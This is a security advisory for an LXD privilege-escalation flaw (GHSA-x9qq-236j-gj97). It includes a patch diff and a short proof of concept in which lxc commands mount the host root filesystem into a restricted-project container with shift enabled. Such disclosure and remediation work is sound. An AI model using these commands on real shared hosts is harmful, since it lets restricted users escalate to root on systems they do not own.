GHSA-x9qq-236j-gj97 If a user has restricted access to a project that is configured with `restricted=true`, they can gain root access on the system

Not scored Published

A low-privileged user in a restricted LXD project can gain root access by creating a disk device with shift enabled, bypassing path restrictions.

Exploited in the wild
Not known
Login needed
Any signed-in user
Attackable
Local or same network only
Victim action needed
Not needed
Fix
Available

What is GHSA-x9qq-236j-gj97?

GHSA-x9qq-236j-gj97 is a vulnerability in github.com/canonical/lxd, published on 5 Dec 2023. It can only be exploited from the same machine or local network, with no action from the victim.

Official description

Summary

If a user has restricted access to a project that is configured with restricted=true, they can gain root access on the system by creating a disk device with shift=true and creating a setuid root executable. This is possible because the shift property is not restricted unless restricted.devices.disk.paths is set.

Details

The following patch shows the offending code with a possible fix:

--- a/lxd/device/disk.go
+++ b/lxd/device/disk.go
@@ -429,17 +429,19 @@ func (d *disk) validateEnvironmentSourcePath() error {
        if instProject.Name != api.ProjectDefaultName {
                // If restricted disk paths are in force, then check the disk's source is allowed, and record the
                // allowed parent path for later user during device start up sequence.
-               if shared.IsTrue(instProject.Config["restricted"]) && instProject.Config["restricted.devices.disk.paths"] != "" {
-                       allowed, restrictedParentSourcePath := project.CheckRestrictedDevicesDiskPaths(instProject.Config, d.config["source"])
-                       if !allowed {
-                               return fmt.Errorf("Disk source path %q not allowed by project for disk %q", d.config["source"], d.name)
+               if shared.IsTrue(instProject.Config["restricted"]) {
+                       if instProject.Config["restricted.devices.disk.paths"] != "" {
+                               allowed, restrictedParentSourcePath := project.CheckRestrictedDevicesDiskPaths(instProject.Config, d.config["source"])
+                               if !allowed {
+                                       return fmt.Errorf("Disk source path %q not allowed by project for disk %q", d.config["source"], d.name)
+                               }
+
+                               d.restrictedParentSourcePath = shared.HostPath(restrictedParentSourcePath)
                        }

                        if shared.IsTrue(d.config["shift"]) {
                                return fmt.Errorf(`The "shift" property cannot be used with a restricted source path`)
                        }
-
-                       d.restrictedParentSourcePath = shared.HostPath(restrictedParentSourcePath)
                }
        }

PoC

$ lxc project create restricted -c restricted=true -c restricted.devices.disk=allow
$ lxc project switch restricted
$ lxc profile device add default root disk path=/ pool=default
$ lxc init ubuntu:22.04 c1
$ lxc config device add c1 d1 disk source=/ path=/mnt shift=true
$ lxc start c1  # no error

$ lxc project set restricted restricted.devices.disk.paths=/  # explicitly allow mounting /
$ lxc restart c1
Error: Failed to start device "d1": The "shift" property cannot be used with a restricted source path

Created https://github.com/canonical/lxd/issues/12606 to improve the documentation as per https://github.com/canonical/lxd/security/advisories/GHSA-x9qq-236j-gj97#advisory-comment-91918

Which versions are affected by GHSA-x9qq-236j-gj97?

4 open source packages ship an affected version, including github.com/canonical/lxd.

PackageAffectedFixed in
github.com/canonical/lxd GoFrom 0.0.0-20230920084527-cbe39c5d3f140.0.0-20240118092008-ce1bd0dd37bb
github.com/canonical/lxd GoFrom 0.0.0-20230920084527-cbe39c5d3f140.0.0-20240118092008-ce1bd0dd37bb
github.com/canonical/lxd GoFrom 5.19.05.20.0
github.com/canonical/lxd GoFrom 5.19.05.20.0

How do I fix GHSA-x9qq-236j-gj97?

Upgrade github.com/canonical/lxd to a fixed version for your release line: 0.0.0-20240118092008-ce1bd0dd37bb or 5.20.0.

Is GHSA-x9qq-236j-gj97 being exploited?

There is no known exploitation of GHSA-x9qq-236j-gj97 in the wild and no public exploit code.

Sources

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